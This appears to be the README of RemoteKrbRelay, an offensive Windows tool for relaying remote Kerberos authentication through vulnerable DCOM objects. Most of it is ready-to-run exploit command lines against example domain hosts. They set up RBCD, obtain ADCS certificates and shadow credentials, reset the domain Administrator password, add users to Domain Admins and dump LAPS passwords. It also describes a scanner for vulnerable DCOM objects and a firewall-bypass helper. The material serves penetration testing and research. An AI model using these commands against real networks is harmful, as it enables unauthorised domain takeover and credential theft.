/\_/\____,
                  ,___/\_/\ \  ~     /
                  \     ~  \ )   XXX
                    XXX     /    /\_/\___,
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)

RemoteKrbRelay

You probably know KrbRelay and KrbRelayUp, but what if I told you it could be done remotely? With RemoteKrbRelay this becomes a reality.

TL;DR

Learn more about CertifiedDCOM here. CertifiedDCOM allows you to trigger an ADCS machine account:

# CertifiedDCOM (Abuse AD CS by setting RBCD)
  .\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$

# CertifiedDCOM (Abuse ADCS to get Machine cert)
   .\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

# CertifiedDCOM (Abuse ADCS with ShadowCreds)
  .\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred

There's also the SilverPotato exploit. You can use it to abuse sessions. Including a domain administrator session on a third-party host.

# Change user password
  .\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure

# Add user to group
  .\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka

# Dump LAPS passwords
  .\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83

# Send LDAP Whoami request from relayed user
  .\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83

# Trigger authentication from another session
  .\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1

Details

Now, you have four folders in front of you:

• Checker - old version of the checker for detecting vulnerable DCOM objects;
• Checkerv2.0 - new version of the checker for detecting vulnerable DCOM objects;
• Exploit - RemoteKrbRelay.exe :)
• FindAvailablePort - a tool for bypassing a firewall when using an exploit.

Checker

So, let's start with Checker. You can use it to detect vulnerable DCOM objects. A vulnerable DCOM object can be considered to be:

• The COM server within which the DCOM object is running must be run as another user or as a system. But never as NT AUTHORITY\LOCAL SERVICE, since it uses empty creds to authenticate from the network;
• You must have RemoteLaunch, RemoteActivation permissions. This is LaunchPermissions;
• Impersonation level should be RPC_C_IMP_LEVEL_IDENTIFY and higher. RPC_C_IMP_LEVEL_IDENTIFY is a default value;
• U should have RemoteAccess permissions (or they should be emply). This is AccessPermission.

For easy detection, you can use Checkerv2.0. It supports output in csv and xlsx formats.

PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h

                            /\_/\____,          /\     /\
                  ,___/\_/\ \  ~     /            \ _____\
                  \     ~  \ )   XXX               (_)-(_)
                    XXX     /    /\_/\___,      Checkerv2.0 Collection
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)

Check.exe
Small tool that allow you to find vulnerable DCOM applications

[OPTIONS]
-outfile : output filename
-outformat : output format. Accepted 'csv' and 'xlsx'
-showtable : show the xlsx table when it gets filled
-h/--help : shows this windows

Example:

.\Checkerv2.0.exe -outfile win10 -outformat xlsx

And u will receive such output:

The columns will contain the DCOM object CLSIDs, names, and LaunchPermission and AccessPermission.

Try searching for sppui (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}, APPID {0868DC9B-D9A2-4f64-9362-133CEA201299}) and CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) objects and understand why they are vulnerable.

Don't use Checker, use only Checkerv2.0 pls :3

FindAvailablePort

A small tool to discover a port on which to raise a malicious DCOM server. See details here (Remote -> Local Potato).

Practice using the concept of a local port. Rewrite RemotePotato0 to a local port. Trust me, this is useful.

Exploit

I added quite a bit of different functionality to the exploit. Note that it provides enough functionality to abuse DCOM objects. I've also listed a few CLSIDs in Help for abuse. These CLSIDs were publicly known, there just wasn't a POC to abuse them. There are quite a few vulnerable DCOM objects, work with the checker and find them all!

PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h

                            /\_/\____,
                  ,___/\_/\ \  ~     /
                  \     ~  \ )   XXX
                    XXX     /    /\_/\___,
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)

[HELP PANEL]
        RemoteKrbRelay.exe
        Relaying Remote Kerberos Auth by easy way
        Usage: RemoteKrbRelay.exe [ATTACKS] [REQUIRED OPTIONS] [OPTIONAL PARAMS] [ATTACK OPTIONS] [SWITCHES]

[ATTACKS] (one required!)
        -rbcd : relay to LDAP and setup RBCD
        -adcs : relay to HTTP Web Enrollment and get certificate
        -smb : relay to SMB
        -shadowcred : relay to LDAP and setup Shadow Credentials
        -chp : relay to LDAP and change user password
        -addgroupmember : relay to LDAP and add user to group
        -laps : relay to LDAP and extract LAPS passwords
        -ldapwhoami : relay to LDAP and get info about relayed user